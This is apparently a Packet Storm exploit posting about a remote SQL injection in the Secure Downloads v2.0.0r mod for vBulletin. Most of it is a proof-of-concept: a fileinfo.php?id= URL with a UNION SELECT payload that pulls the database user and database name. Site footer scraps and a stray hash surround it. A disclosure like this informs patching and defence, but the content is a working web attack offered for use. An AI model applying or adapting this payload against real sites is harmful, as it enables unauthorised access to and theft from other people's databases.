Secure Download version 2.0.0r for vBulletin suffers from a remote SQL injection vulnerability.
5635f83d5140df3514730ee273c03e6462d47c2b5d377363aa364dff173d40e2[~] vBulletin (Mode Secure Downloads v2.0.0r) SQL Injection Vulnerability
[~] Mod : http://www.1src.com/freeware/download.php?id=1880
[~] Author : Cn4phux
[~] PoC :
[~] URL.com/fileinfo.php?id=[SQL]
[~] : 1797'+AND(0)+UNION+SELECT+1,1,1,1,1,'Cn4phux',0,0,0,1,0,1,0,0,0,0,0,USER(),DATABASE(),0,0,0,0,0,0,0+OR+'1'='0
//Cn4phux.
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed